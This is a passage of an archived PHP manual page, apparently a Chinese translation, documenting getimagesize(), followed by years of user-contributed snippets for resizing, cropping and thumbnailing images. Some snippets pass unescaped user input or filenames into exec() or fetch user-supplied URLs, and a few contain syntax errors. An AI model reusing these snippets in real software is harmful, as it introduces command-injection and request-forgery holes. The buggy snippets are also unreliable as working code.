  echo "<li>GD support: ";
  if(function_exists("gd_info")){
   echo "<font color=\"#00ff00\">yes</font>";
   $info = gd_info();
   $keys  = array_keys($info);
   for($i=1;$i<count($keys);$i++){
     echo "</li>\n<li>".$keys[$i] .": " . yesNo($info[$keys[$i]]);
   }

  }else{
   echo "<font color=\"#ff0000\">no</font>";
  }
  echo "</li></ul>";
}

function yesNo($bool){
  if($bool){
   return "<font color=\"#00ff00\"> yes</font>";
  }else{
   return "<font color=\"#ff0000\"> no</font>";
  }
}

describeGDdyn();
?>
meuk at nospam dot quicknet dot nl
29-Apr-2003 02:32
this function, as well as other functions that rely on the gd library, generates an error when you don't have the extension configured in your php.ini file. I had some trouble finding out how to get it working so here are the steps I took on a clean (windows / apache)- install:

* In addition to the (windows binary) installer, I downloaded the zip package which has a lot of things the installer hasn't. I unpacked the extensions directory in my own c:\php\extensions dir.

* I changed some lines in php.ini:
  + find the extension_dir setting and set it to
   c:/PHP/extensions (or your own path of course)
  + found the ;extension=php_gd.dll
     line and removed the semicolon

* I restarted apache and it worked

Hope this helps you all out or at least gives you a valuable hint to get it working,

Good luck,

Rob
johnschaefer at gmx dot de
10-Apr-2003 08:25
this is a replacement for this function.
you can also use this function in php >= 4.3.

the handling is the same as the gd_info function (array gd_info(void))

<?php
$code = 'function gd_info() {
       $array = Array(
                       "GD Version" => "",
                       "FreeType Support" => 0,
                       "FreeType Support" => 0,
                       "FreeType Linkage" => "",
                       "T1Lib Support" => 0,
                       "GIF Read Support" => 0,
                       "GIF Create Support" => 0,
                       "JPG Support" => 0,
                       "PNG Support" => 0,
                       "WBMP Support" => 0,
                       "XBM Support" => 0
                     );
       $gif_support = 0;

       ob_start();
       eval("phpinfo();");
       $info = ob_get_contents();
       ob_end_clean();

       foreach(explode("\n", $info) as $line) {
           if(strpos($line, "GD Version")!==false)
               $array["GD Version"] = trim(str_replace("GD Version", "", strip_tags($line)));
           if(strpos($line, "FreeType Support")!==false)
               $array["FreeType Support"] = trim(str_replace("FreeType Support", "", strip_tags($line)));
           if(strpos($line, "FreeType Linkage")!==false)
               $array["FreeType Linkage"] = trim(str_replace("FreeType Linkage", "", strip_tags($line)));
           if(strpos($line, "T1Lib Support")!==false)
               $array["T1Lib Support"] = trim(str_replace("T1Lib Support", "", strip_tags($line)));
           if(strpos($line, "GIF Read Support")!==false)
               $array["GIF Read Support"] = trim(str_replace("GIF Read Support", "", strip_tags($line)));
           if(strpos($line, "GIF Create Support")!==false)
               $array["GIF Create Support"] = trim(str_replace("GIF Create Support", "", strip_tags($line)));
           if(strpos($line, "GIF Support")!==false)
               $gif_support = trim(str_replace("GIF Support", "", strip_tags($line)));
           if(strpos($line, "JPG Support")!==false)
               $array["JPG Support"] = trim(str_replace("JPG Support", "", strip_tags($line)));
           if(strpos($line, "PNG Support")!==false)
               $array["PNG Support"] = trim(str_replace("PNG Support", "", strip_tags($line)));
           if(strpos($line, "WBMP Support")!==false)
               $array["WBMP Support"] = trim(str_replace("WBMP Support", "", strip_tags($line)));
           if(strpos($line, "XBM Support")!==false)
               $array["XBM Support"] = trim(str_replace("XBM Support", "", strip_tags($line)));
       }

       if($gif_support==="enabled") {
           $array["GIF Read Support"]  = 1;
           $array["GIF Create Support"] = 1;
       }

       if($array["FreeType Support"]==="enabled"){
           $array["FreeType Support"] = 1;    }

       if($array["T1Lib Support"]==="enabled")
           $array["T1Lib Support"] = 1;

       if($array["GIF Read Support"]==="enabled"){
           $array["GIF Read Support"] = 1;    }

       if($array["GIF Create Support"]==="enabled")
           $array["GIF Create Support"] = 1;

       if($array["JPG Support"]==="enabled")
           $array["JPG Support"] = 1;

       if($array["PNG Support"]==="enabled")
           $array["PNG Support"] = 1;

       if($array["WBMP Support"]==="enabled")
           $array["WBMP Support"] = 1;

       if($array["XBM Support"]==="enabled")
           $array["XBM Support"] = 1;

       return $array;
   }';

if(!function_exists("gd_info")) eval($code);
?>
add a note add a note

后退 | 起点 | 前进
Image 图像函数 | 上一级 | getimagesize


getimagesize

(PHP 3, PHP 4, PHP 5)

getimagesize -- 取得图像大小

说明

array getimagesize ( string filename [, array &imageinfo] )

getimagesize() 函数将测定任何 GIF，JPG，PNG，SWF，SWC，PSD，TIFF，BMP，IFF，JP2，JPX，JB2，JPC，XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 <IMG> 标记中的 height/width 文本字符串。

如果不能访问 filename 指定的图像或者其不是有效的图像，getimagesize() 将返回 FALSE 并产生一条 E_WARNING 级的错误。

注: 对 JPC，JP2，JPX，JB2，XBM 和 WBMP 的支持自 PHP 4.3.2 起可用。对 SWC 的支持自 PHP 4.3.0 起可用。对 TIFF 的支持是 PHP 4.2.0 添加的。

注: JPEG 2000 支持是 PHP 4.3.2 添加的。注意 JPC 和 JP2 可以有不同的色彩深度的成分。此情况下，“bits”的值是碰到的最高的位深度。此外，JP2 文件可能包含有多个 JPEG 2000 代码流，此情况下，getimagesize() 返回此文件顶层中碰到的第一个代码流的值。

注: 本函数不需要 GD 图像库。

返回一个具有四个单元的数组。索引 0 包含图像宽度的像素值，索引 1 包含图像高度的像素值。索引 2 是图像类型的标记：1 = GIF，2 = JPG，3 = PNG，4 = SWF，5 = PSD，6 = BMP，7 = TIFF(intel byte order)，8 = TIFF(motorola byte order)，9 = JPC，10 = JP2，11 = JPX，12 = JB2，13 = SWC，14 = IFF，15 = WBMP，16 = XBM。这些标记与 PHP 4.3.0 新加的 IMAGETYPE 常量对应。索引 3 是文本字符串，内容为“height="yyy" width="xxx"”，可直接用于 IMG 标记。

例子 1. getimagesize（文件）

<?php
list($width, $height, $type, $attr) = getimagesize("img/flag.jpg");
echo "<img src=\"img/flag.jpg\" $attr>";
?>

URL 支持是 PHP 4.0.5 添加的。

例子 2. getimagesize（URL）

<?php
$size = getimagesize("http://www.example.com/gifs/logo.gif");

// if the file name has space in it, encode it properly
$size = getimagesize("http://www.example.com/gifs/lo%20go.gif");

?>

对于 JPG 图像，还会多返回两个索引：channels 和 bits。channels 对于 RGB 图像其值为 3，对于 CMYK 图像其值为 4。bits 是每种颜色的位数。

自 PHP 4.3.0 起，bits 和 channels 对于其它图像类型也存在。但是这些值可能会把人搞糊涂。例如，GIF 总是对每个像素使用 3 个 channel，但是对于动画 GIF 来说每个像素的位数无法通过全局颜色表计算出来。

某些格式可能不包含图像或者包含多个图像。此种情况下，getimagesize() 可能不能用来准确测定图像的大小。此时 getimagesize() 将返回零作为宽度和高度。

自 PHP 4.3.0 起，getimagesize() 还会返回额外的参数 mime，符合该图像的 MIME 类型。此信息可以用来在 HTTP Content-type 头信息中发送正确的信息：

例子 3. getimagesize() 和 MIME 类型

<?php
$size = getimagesize($filename);
$fp=fopen($filename, "rb");
if ($size && $fp) {
  header("Content-type: {$size['mime']}");
  fpassthru($fp);
  exit;
} else {
  // error
}
?>

可选的 imageinfo 参数允许从图像文件中提取一些扩展信息。目前，这将以一个关联数组返回不同的 JPG APP 标识。某些程序用这些 APP 标识来在图像中嵌入文本信息。一个非常常见的是 APP13 标识中嵌入的 IPTC http://www.iptc.org/ 信息。可以用 iptcparse() 函数来将二进制的 APP13 标识解析为可读的信息。

例子 4. getimagesize() 返回 IPTC

<?php
$size = getimagesize("testimg.jpg", &$info);
if (isset($info["APP13"])) {
    $iptc = iptcparse($info["APP13"]);
    var_dump($iptc);
}
?>

参见 image_type_to_mime_type()，exif_imagetype()，exif_read_data() 和 exif_thumbnail()。

add a note add a note User Contributed Notes
php at cNO_SOLICITATIONbreak dot org
19-May-2006 04:49
Apparently appending $attr in the <img ...> tag will not render the image at all or render only a portion of the image under Safari and IE under certain circumstances.

I haven't figured out the exact circumstances, but I'm using XHTML 1.0 Transitional DTD, and the circumstances seem to depend on the rendering order of the page. The problem is due to the width="..." attribute in general, not the height="..." attribute.

To fix the problem, forget the $attr attribute and stick with the stylesheet:

  <?php list($w, $h) = getimagesize("image.jpg") ?>
  <img src="image.jpg" style="width: <?php=$w?>px; height: <?php=$h?>px;" />
egingell at sisna dot com
06-May-2006 06:14
<?

// These constants are used by image_info(), below.
define ('IMAGE_WIDTH', 'width');
define ('IMAGE_HEIGHT', 'height');
define ('IMAGE_TYPE', 'type');
define ('IMAGE_ATTR', 'attr');
define ('IMAGE_BITS', 'bits');
define ('IMAGE_CHANNELS', 'channels');
define ('IMAGE_MIME', 'mime');

/**
 * mixed image_info( file $file [, string $out] )
 *
 * Returns information about $file.
 *
 * If the second argument is supplied, a string representing that information will be returned.
 *
 * Valid values for the second argument are IMAGE_WIDTH, 'width', IMAGE_HEIGHT, 'height', IMAGE_TYPE, 'type',
 * IMAGE_ATTR, 'attr', IMAGE_BITS, 'bits', IMAGE_CHANNELS, 'channels', IMAGE_MIME, and 'mime'.
 *
 * If only the first argument is supplied an array containing all the information is returned,
 * which will look like the following:
 *
 *    [width] => int (width),
 *    [height] => int (height),
 *    [type] => string (type),
 *    [attr] => string (attributes formatted for IMG tags),
 *    [bits] => int (bits),
 *    [channels] => int (channels),
 *    [mime] => string (mime-type)
 *
 * Returns false if $file is not a file, no arguments are supplied, $file is not an image, or otherwise fails.
 *
 **/
function image_info($file = null, $out = null) {

   // If $file is not supplied or is not a file, warn the user and return false.
   if (is_null($file) || !is_file($file)) {
       echo '<p><b>Warning:</b> image_info() => first argument must be a file.</p>';
       return false;
   }

   // Defines the keys we want instead of 0, 1, 2, 3, 'bits', 'channels', and 'mime'.
   $redefine_keys = array(
       'width',
       'height',
       'type',
       'attr',
       'bits',
       'channels',
       'mime',
   );

   // If $out is supplied, but is not a valid key, nullify it.
   if (!is_null($out) && !in_array($out, $redefine_keys)) $out = null;

   // Assign usefull values for the third index.
   $types = array(
       1 => 'GIF',
       2 => 'JPG',
       3 => 'PNG',
       4 => 'SWF',
       5 => 'PSD',
       6 => 'BMP',
       7 => 'TIFF(intel byte order)',
       8 => 'TIFF(motorola byte order)',
       9 => 'JPC',
       10 => 'JP2',
       11 => 'JPX',
       12 => 'JB2',
       13 => 'SWC',
       14 => 'IFF',
       15 => 'WBMP',
       16 => 'XBM'
   );
   $temp = array();
   $data = array();

   // Get the image info using getimagesize().
   // If $temp fails to populate, warn the user and return false.
   if (!$temp = getimagesize($file)) {
       echo '<p><b>Warning:</b> image_info() => first argument must be an image.</p>';
       return false;
   }

   // Get the values returned by getimagesize()
   $temp = array_values($temp);

   // Make an array using values from $redefine_keys as keys and values from $temp as values.
   foreach ($temp AS $k => $v) {
       $data[$redefine_keys[$k]] = $v;
   }

   // Make 'type' usefull.
   $data['type'] = $types[$data['type']];

   // Return the desired information.
   return !is_null($out) ? $data[$out] : $data;
}

?>
Russell Chappell
31-Mar-2006 11:01
For those of you who are confused about what the mime type IE displays image/pjpeg and other browsers image/jpeg and are building in checks for all of your scripts to tell the difference i would suggest using the getimagesize() mime results which will always be image/jpeg regardless what browser you use.

<?php
$info = getimagesize("image.jpg");
foreach($info as $key => $value) {
   echo $key . ' - ' . $value . '<br />';
}
?>

Where it says mime always is image/jpeg
mail AT sascha MINUS diebel DOt de
22-Feb-2006 10:55
Note that with JPG images, two extra indexes are returned: channels and bits. channels will be 3 for RGB pictures and 4 for CMYK pictures. bits is the number of bits for each color.

Bei JPG Bildern werden 2 zustzliche Paramter zurckgegeben: "channels" und "bits". "channels" steht fr die Anzahl der Farbkanle (bei RGB = 3, bei CMYK = 4). "bits" gibt die Anzahl der Bits je Farbe zurck (Standard 8 bit)
snaprage at iinet dot net dot au
14-Feb-2006 09:04
john, helpful indeed
I used:

function getFileSizeW($filePath){
$blah = getimagesize($filePath);
$type = $blah['mime'];
$width = $blah[0];
return $width;}

function getFileSizeH($filePath){
$blah = getimagesize($filePath);
$type = $blah['mime'];
$height = $blah[1];
return $height;}

$sizeW = getFileSizeW($file);
$sizeH = getFileSizeH($file);

the info is gathered from using $_POST[''] as its entered by the user.
This may be helpful for somebody...
John
06-Feb-2006 03:57
I was coming here to see if there was a simple way to get the height, width, and mime type of an image I have uploaded and while I thought the following code would work because it is printed above
<?php
list($width, $height, $type, $attr) = getimagesize("img/flag.jpg");
?>

it didnt when I tried to echo out $type; so heres my fix, there may be a better way but it works for me!

<?php
$blah = getimagesize("folder/file.gif");
$type = $blah['mime'];
$width = $blah[0];
$height = $blah[1];
?>

and then you can just echo out one of the variables about to get whichever you would desire.
gormozus at yahoo dot com
16-Nov-2005 02:56
getimagesize() seems to cache the results, so if you resize an image (using the methods described earlier) and you want to re-read its width and height, use imagesx() and imagesy() to get the actual information.
webmaster at WWW.ELLESSEWEB.NET
26-Oct-2005 08:10
This is a useful function to display a thumbnail of a whatever image.
This piece of code has been lightly modified from an example found on <b>NYPHP.ORG</B>.
This function can build a thumbnail of any size you want and display it on your browser!
Hope it can be useful for you guys!

<?php

function makeThumbnail($o_file, $t_ht = 100) {
   $image_info = getImageSize($o_file) ; // see EXIF for faster way

   switch ($image_info['mime']) {
       case 'image/gif':
           if (imagetypes() & IMG_GIF)  { // not the same as IMAGETYPE
               $o_im = imageCreateFromGIF($o_file) ;
           } else {
               $ermsg = 'GIF images are not supported<br />';
           }
           break;
       case 'image/jpeg':
           if (imagetypes() & IMG_JPG)  {
               $o_im = imageCreateFromJPEG($o_file) ;
           } else {
               $ermsg = 'JPEG images are not supported<br />';
           }
           break;
       case 'image/png':
           if (imagetypes() & IMG_PNG)  {
               $o_im = imageCreateFromPNG($o_file) ;
           } else {
               $ermsg = 'PNG images are not supported<br />';
           }
           break;
       case 'image/wbmp':
           if (imagetypes() & IMG_WBMP)  {
               $o_im = imageCreateFromWBMP($o_file) ;
           } else {
               $ermsg = 'WBMP images are not supported<br />';
           }
           break;
       default:
           $ermsg = $image_info['mime'].' images are not supported<br />';
           break;
   }

   if (!isset($ermsg)) {
       $o_wd = imagesx($o_im) ;
       $o_ht = imagesy($o_im) ;
       // thumbnail width = target * original width / original height
       $t_wd = round($o_wd * $t_ht / $o_ht) ;

       $t_im = imageCreateTrueColor($t_wd,$t_ht);

       imageCopyResampled($t_im, $o_im, 0, 0, 0, 0, $t_wd, $t_ht, $o_wd, $o_ht);

       imageJPEG($t_im);

       imageDestroy($o_im);
       imageDestroy($t_im);
   }
   return isset($ermsg)?$ermsg:NULL;
}
?>

Here the code to call the function:

<?

header("Content-type: image/jpeg");
makeThumbnail("http://it2.php.net/images/php.gif", 300);

?>
Mark at Mild Peril
13-Oct-2005 07:54
To solve the problem with using absolute site filepaths, as experienced by Brian:

$size = getimagesize($_SERVER["DOCUMENT_ROOT"].$file);

(where $file is something like "/rootdir/graphics/photo.jpg")
cvig at raw-io dot com
29-Sep-2005 09:06
This function does not work to catch corrupted PNG images. The alternative is to use ImageMagick's identify tool. Due to some sort of odd output usage the output from ImageMagick's identify won't be returned but you can use the return value from the program to test if a PNG file is valid:

#!/usr/bin/php
<?php

if (! $argv[1])
       exit("$argv[0] filename.png\n");

$result = 0;
$tmp;
exec("identify $argv[1]", $tmp, $result);
if($result)
{
       echo "Corrupted image\n";
       return FALSE;  // corrupt PNG file
}
else
{
       echo "Valid image\n";
       return TRUE;
}

?>
paul at goldenbakery dot nl
05-Aug-2005 05:02
Note that the canvas of a Flash movie can not be empty for getimagesize() to read the dimensions of an SWF. Not sure if this is a bug, a feature or just a limitation of the SWF format.

Flash version does not seem to matter. Also tested with Flash 8 beta.
Sean
31-May-2005 01:23
I needed a quick way to make a group of images uniformly sized, but only on one page.  So creating a new set of thumbnails was overdoing the whole thing.  I made up this script that seems to do the trick.

<?php
     $image =  "absolute/path/to/image/image.jpg";
     $size = getimagesize("$image");
       $height = $size[1];
       $width = $size[0];
     if ($height > 150)
         {
               $height = 150;
               $percent = ($size[1] / $height);
               $width = ($size[0] / $percent);
         }
     else if ($width > 150)
         {
               $width = 150;
               $percent = ($size[0] / $width);
               $height = ($size[1] / $percent);
         }
     echo "<img src\"image/path/image.jpg\" height=\"$height\" width=\"$width\" />";
?>
irregular at inbox dot ru
30-Apr-2005 07:24
I've wrote this piece of useful code.
May be it will be useful for you.
But i got a problem - if source image is in the area with need of authorization then the functions that read some files from that place (i.e. getimagesize, imagejpeg) does not work!
How to solve it?

<?php
//i't a stand-alone file named resize.php
//the feature is caching
// /image/thumbcache folder is used with file name forming by md5($img.$calc_width.$calc_height);
//it gets such parameters:
//img - image address (URL)
//w - optional width
//h - optional height
//if you set either w or h, then the image is resized proportionaly, according to the source
//if you set neither w nor h then the script just output file
//if you set both w or h then the image will be resized exactly how you want

   $server_root = 'http://'.$_SERVER['SERVER_NAME'].'/';

   if (isset($_GET['img']) && ((isset($_GET['w']) || isset($_GET['h'])))
   {
       $img = substr($_GET['img'],0,100);
       if (isset($_GET['w'])) $w = substr($_GET['w'],0,10);
       if (isset($_GET['h'])) $h = substr($_GET['h'],0,10);

       error_reporting(0);

       //check cache
       $hash = md5($img.$w.$h);
       $pos = strrpos($img,".");
       $ext = substr($img,$pos+1,strlen($img)-$pos);
       $fname = $hash.'.'.$ext;
       $cachedim = @imagecreatefromjpeg($serverroot.'images/thumbcache/'.$fname);
       if ($cachedim) //just show cached thumbnail
       {
           header("Content-type: image/jpeg");
           imagejpeg($cachedim,'',100);
       }
       else //create and cache thumbnail and show it 'cause it's not in cache
       {
           list($width, $height, $type, $attr) = getimagesize($img);
           if ($type==2) //jpeg
           {
               $im = @imagecreatefromjpeg($img); /* Attempt to open */
               if (!$im) { /* See if it failed */
           $im  = imagecreate(150, 30); /* Create a blank image */
                   $bgc = imagecolorallocate($im, 255, 255, 255);
                   $tc  = imagecolorallocate($im, 0, 0, 0);
                   imagefilledrectangle($im, 0, 0, 150, 30, $bgc);
                   imagestring($im, 1, 5, 5, "Error loading image!", $tc);
               }
               else
               {
                   //constrain proportions if needed
                   if (isset($w)){ if ($w==0) $w = $width; }
                   else $w = $width*$h/$height;

                   if (isset($h)){ if ($h==0) $h = $height; }
                   else $h = $height*$w/$width;

                   $dstw=isset($w)?$w:$width;
                   $dsth=isset($h)?$h:$height;
                   $tim = imagecreatetruecolor($dstw,$dsth);

           imagecopyresampled($tim,$im,0,0,0,0,$dstw,$dsth,$width,$height);

                   header("Content-type: image/jpeg");
                   imagejpeg($tim,'./images/thumbcache/'.$fname,100);
                   imagejpeg($tim,'',100);
               }
           }
       }
       error_reporting(E_ALL);
   }

?>
ajreading at classixshop dot com
21-Apr-2005 04:30
A simple piece of code i wrote to proportionally resize an image to a max height and width then display it

<?php
// Max height and width
$max_width = 100;
$max_height = 100;

// Path to your jpeg

$upfile '/path/to/file.jpg';
   Header("Content-type: image/jpeg");

   $size = GetImageSize($upfile); // Read the size
         $width = $size[0];
         $height = $size[1];

         // Proportionally resize the image to the
         // max sizes specified above

         $x_ratio = $max_width / $width;
         $y_ratio = $max_height / $height;

         if( ($width <= $max_width) && ($height <= $max_height) )
         {
               $tn_width = $width;
               $tn_height = $height;
         }
         elseif (($x_ratio * $height) < $max_height)
         {
               $tn_height = ceil($x_ratio * $height);
               $tn_width = $max_width;
         }
         else
         {
               $tn_width = ceil($y_ratio * $width);
               $tn_height = $max_height;
         }
     // Increase memory limit to support larger files

     ini_set('memory_limit', '32M');

     // Create the new image!
     $src = ImageCreateFromJpeg($upfile);
     $dst = ImageCreateTrueColor($tn_width, $tn_height);
     ImageCopyResized($dst, $src, 0, 0, 0, 0, $tn_width, $tn_height, $width, $height);
     ImageJpeg($dst);
// Destroy the images
ImageDestroy($src);
ImageDestroy($dst);
?>
mail at soylentgreens dot com
31-Mar-2005 10:37
How about this for cropping images...

<?php

$imgfile = "img.jpg";
$cropStartX = 300;
$cropStartY = 250;
$cropW  = 200;
$cropH  = 200;

// Create two images
$origimg = imagecreatefromjpeg($imgfile);
$cropimg = imagecreatetruecolor($cropW,$cropH);

// Get the original size
list($width, $height) = getimagesize($imgfile);

// Crop
imagecopyresized($cropimg, $origimg, 0, 0, $cropStartX, $cropStartY, $width, $height, $width, $height);

// TODO: write code to save new image
// or, just display it like this:
header("Content-type: image/jpeg");
imagejpeg($cropimg);

// destroy the images
imagedestroy($cropimg);
imagedestroy($origimg);

?>
Coodiss at w3bbix dot net
16-Mar-2005 01:51
Heres a easy way to scale images to the <td> that they are in
*this is broken up so anyone can understand it :)

<?
$imageinfo = getimagesize("images/picture.jpg");

$ix=$imageinfo[0];
$iy=$imageinfo[1];

$widthscale = $ix/175;  //<TD> WIDTH
$heightscale = $iy/175; //<TD> HEIGHT

if($widthscale < 1)
$nwidth = $ix*$widthscale;
else
$nwidth = $ix/$widthscale;

if($heightscale < 1)
$nheight = $iy*$heightscale;
else
$nheight = $iy/$heightscale;

?>
php dot net at dannysauer dot com
13-Feb-2005 12:23
Note that, if you're going to be a good programmer and use named constatnts (IMAGETYPE_JPEG) rather than their values (2), you want to use the IMAGETYPE variants - IMAGETYPE_JPEG, IMAGETYPE GIF, IMAGETYPE_PNG, etc.  For some reason, somebody made a horrible decision, and IMG_PNG is actually 4 in my version of PHP, while IMAGETYPE_PNG is 3.  It took me a while to figure out why comparing the type against IMG_PNG was failing...
hu dot php dot net at benjamin dot hu
05-Jan-2005 01:06
Flash compressed format SWF:

Array
(
   [0] => 468
   [1] => 60
   [2] => 13
   [3] => width="468" height="60"
   [mime] => application/x-shockwave-flash
)

[2] : SWC = SWF-compressed value 13
sixzero4 at hotmail dot com
30-Nov-2004 12:33
This is just to add to the comment by robertks at hotmail dot com on
05-Mar-2003 12:12 regarding trying to derive the dimensions of a video file. The package referenced (http://www.getid3.org/) had been updated, and below is a script I use to get the size. You can get many other attributes of media files as well.

<?php
// include getID3() library (can be in a different directory if full path is specified)
 include_once('getid3.php');

// Initialize getID3 engine
$getID3 = new getID3;

 // File to get info from
 $file_location = './your/path/to/file.mov';

// Get information from the file
 $fileinfo = $getID3->analyze($file_location);
 getid3_lib::CopyTagsToComments($fileinfo);

 // Output results
if (!empty($fileinfo['video']['resolution_x'])) { echo '<p> video width: '.$fileinfo['video']['resolution_x'].'</p>'; }
if (!empty($fileinfo['video']['resolution_y'])) { echo '<p> video height: '.$fileinfo['video']['resolution_y'].'</p>'; }
?>

Hope that helps others looking for a function similar to getimagesize() for a video or media file.
nonick AT 8027 DOT org
17-Nov-2004 06:46
To: webmaster at theotherpixel dot com

  I think the problem is that getimagesize() expects a valid path into the filesystem, so most probably you should use something like:

  $ret = getimagesize('/home/whoever/public_html/images/filename');

of course, using the route which applies to your setup: '/usr/www/', whatever.
________
Miguel.
Geoff Vane
14-Nov-2004 02:39
WARNING:

I couldn't get getimagesize() to work when using certain arrays.
The solution was simple but easily overlooked:

When using an array and/or a .txt file,
to store & extract an image filename,
which getimagesize() should examine,
an almost unnoticable and unwanted space can exist !!!
(at the end of the string..)

Use rtrim($yourfilenamestring) to get rid of the space
that will block your getimagesize() operation.

example:

$a = getimagesize(rtrim($yourfilenamestring) ) ;

$a[0] will contain the width
$a[1] will contain the height

:)
Joshua
17-Aug-2004 03:26
If your image name has spaces in it you will need to use rawurlencode() and NOT urlencode() as this function (at least in 4.3.4) does not accept spaces as + signs.
cstdenis at hotmail dot com
12-Aug-2004 02:42
This will not work for swf files unless zlib is compiled into php statically (not as a shared module). Bug #29611

As of PHP 5.0.0 it will just return false, but that should change to a notice by the next release.
ryan at vitalmodels dot com
05-Jun-2004 04:06
--- Editor's Note:
It's easier to call on urlencode() or rawurlencode() to "fix" urls containing spaces and other characters that normally not well-liked.
---

You may have noticed that images with spaces WONT work with getimagesize - some of us have massive amounts of pictures, or don't feel like rewriting file names on users uploaded pictures- so here is a super fast fix that will replace the spaces once the image is called and will work with getimagesize flawlessly-

$image_new = "/pictures/$pic[picture]";  //PICTURE URL
$image_new = str_replace(' ','%20',$image_new); //REPLACE THE SPACES

Now you just call $image_new using getimagesize and you wont' have anymore problems.

On my site I take uploaded pictures from users - then resize them if they are over a certain width, here is the script i use if anyone would like to do this-

$image_new = "/pictures/$pic[picture]"; //url of picture
$image_new = str_replace(' ','%20',$image_new); //take url and replace spaces
$max_width= "480";  //maximum width allowed for pictures
$resize_width= "480";  //same as max width
$size = getimagesize("$image_new");    //get the actual size of the picture
$width= $size[0];          // get width of picture
$height= $size[1];  // get height of picture
if ($width>$max_width){
           $new_width=$resize_width;  // Resize Image If over max width
}else {
           $new_width=$width;      // Keep original size from array because smaller than max

}

echo "<IMG src=\"$image_new\" border=1  width=$new_width>"  //print image with new width

Hope this helps anyone who wants some simple uses for getimagesize- check out my website to see it in action- vitalmodels.com
diablx at hotmail dot com
26-May-2004 05:36
I'm sorry for they other scripts, but I made one mistake about the image resizing... here is a working script !
<?
   // Some configuration variables !
   $maxWidth = 90;
   $maxHeight = 90;
   $maxCols = 8;
   $webDir = "https://localhost/images/";
   $localDir = $_SERVER['DOCUMENT_ROOT']."/images/";

   $AutorisedImageType = array ("jpg", "jpeg", "gif", "png");
?>

<center>
<table border='1' cellspacing='5' cellpadding='5' style="border-collapse:collapse; border-style: dotted">
<tr>
   <?
   // Open localDir
   $dh = opendir($localDir);
   while (false !== ($filename = readdir($dh))) {
       $filesArray[] = $filename;
   }

   // Display and resize
   foreach ($filesArray as $images) {

       $ext = substr($images, strpos($images, ".")+1, strlen($images));

       if( in_array($ext, $AutorisedImageType) ) {

           list($width, $height, $type, $attr) = @getimagesize( $localDir.$images );

           $xRatio = $maxWidth / $width;
           $yRatio = $maxHeight / $height;

           if ( ($width <= $maxWidth) && ($height <= $maxHeight) ) {
             $newWidth = $width;
             $newHeight = $height;
           }
           else if (($xRatio * $height) < $maxHeight) {
             $newHeight = ceil($xRatio * $height);
             $newWidth = $maxWidth;
           }
           else {
             $newWidth = ceil($yRatio * $width);
             $newHeight = $maxHeight;
           }

           if($i == $maxCols) {
               echo "</tr><tr>";
               $i = 0;
           }
           echo "<td align='center' valign='middle' width='$maxWidth' height='$maxHeight'><img src='".$webDir.$images."' width='$newWidth' height='$newHeight'></td>";
           $i++;
       }
   }
?>
</tr>
</table>
</center>
MagicalTux at FF.st
31-Mar-2004 07:35
simm posted something interesting about imagick, but usually calling an external binary is not the best way.

You can use the Imagick PHP module . With it, you do not even need to get the image size to generate thubnails...

Here's the code I used :
<?php
   $imh=imagick_readimage($image);
   imagick_scale($imh,GALLERY_THUMBNAILWIDTH,GALLERY_THUMBNAILHEIGHT);
   imagick_writeimage($imh,$image_thumb);
?>

(I noticed that some hosting companies are now providing the imagick module by default. Using it allows you to accept any type of image from your visitors. Maybe it will be documented on the official PHP website one day or another? )
MarioPro
11-Mar-2004 10:13
The Problem:
I've just noticed that after upgrading to the PHP 4.3.4 version, the old GetImageSize() should get your attention on pages coded before this new version.

The solutions:
So, if you used GetImageSize(), you should now be using getimagesize() - attention to all lower caracters.

Also, you shou certify that the image realy exists, otherwhise you'll get the following error: getimagesize(): Read error!
This means that there is no image to "fill" the string and thus you're calling, for example: "images/news/" instead of calling "images/news/03102004a.jpg"

One should now verify if there is an image to be called (example):
if($photo1!=""){
$size1=getimagesize("images/news/".$photo_news_1"]);
$width1=$size1[0];
$height1=$size[1];
}
Here, if $photo_news_1 is set and exists it will be displayed, otherwhise it will be skiped and no ERROR message will be displayed. In the PHP 4.3.3 and earlier versions, this was not necessary but it is now!  ;)
yohami dot com - zerodj at hotmail dot com
14-Jan-2004 11:11
A cool resize / cropping script for creating thumbnails using mogrify

IMAGETEST.PHP

<?php

include 'mogrify.php';

// variables from flash (my website uses flash and php)
$picture="sample.jpg";
$fixedwidth=300;
$fixedheight=240;
//

cropimage($picture,$fixedwidth,$fixedheight,$mogrify);

 ?>

MOGRIFY.PHP

<?php
// walking the path
$mogrify="C:/apache/Imagik/mogrify.exe";

// ---------------------------------------- crop function

function cropimage($picture,$fixedwidth,$fixedheight,$mogrify) {

   // GET IMG
   $img = imagecreatefromjpeg($picture);
   $width= imagesx($img);
   $height= imagesy($img);
   // CROP WIDTH
   if($width!=$fixedwidth){
       $ratio =$fixedwidth/$width;
       $NewHeight=round($height*$ratio);
       $NewWidth=round($width*$ratio);
       exec( $mogrify." -resize ".$NewWidth."x".$NewHeight."! $picture");
       exec( $mogrify." -crop ".$fixedwidth."x".$fixedheight."+0+0 $picture");
       // REFRESH
       $img = imagecreatefromjpeg($picture);
       $width= imagesx($img);
       $height= imagesy($img);
   }
   // CROP HEIGHT
   if($height!=$fixedheight){
       $ratio =$fixedheight/$height;
       $NewHeight=round($height*$ratio);
       $NewWidth=round($width*$ratio);
       exec( $mogrify." -resize ".$NewWidth."x".$NewHeight."! $picture");
       exec( $mogrify." -crop ".$fixedwidth."x".$fixedheight."+0+0 $picture");
   }
   //
   ImageDestroy($img);
}

?>

yeah!
php (at) thejpster org uk
02-Dec-2003 10:39
If you want to resize an image proportionally to fit within a given area, like I did, the following code might help you out.

If either hscale or wscale are greater than 1 then that dimension is too big. If you then scale your image by the larger of the two values (hscale, wscale) then you guarantee that both dimensions will now fit in your specified area :)

function makeImg($num) {
   global $hmax, $wmax; // max width and height
   $image = "somefile.jpg";
   list($width, $height, $type, $attr) = getimagesize($image);
   $hscale = $height / $hmax;
   $wscale = $width / $wmax;
   if (($hscale > 1) || ($wscale > 1)) {
       $scale = ($hscale > $wscale)?$hscale:$wscale;
   } else {
       $scale = 1;
   }
   $newwidth = floor($width / $scale);
   $newheight= floor($height / $scale);

   return "<img width='$newwidth' height='$newheight' src='$image'><br>$image: $newwidth x $newheight : $width x $height";
}
djwishbone at hotmail dot com
19-Nov-2003 10:31
Using remote files with getimagesize($URL) never worked for me.  Except when I would grab files from the same server.  However, I developed some code with the help from the people here that does work.  If you are having problems give this function a shot:

function getimagesize_remote($image_url) {
   $handle = fopen ($image_url, "rb");
   $contents = "";
   if ($handle) {
   do {
       $count += 1;
       $data = fread($handle, 8192);
       if (strlen($data) == 0) {
           break;
       }
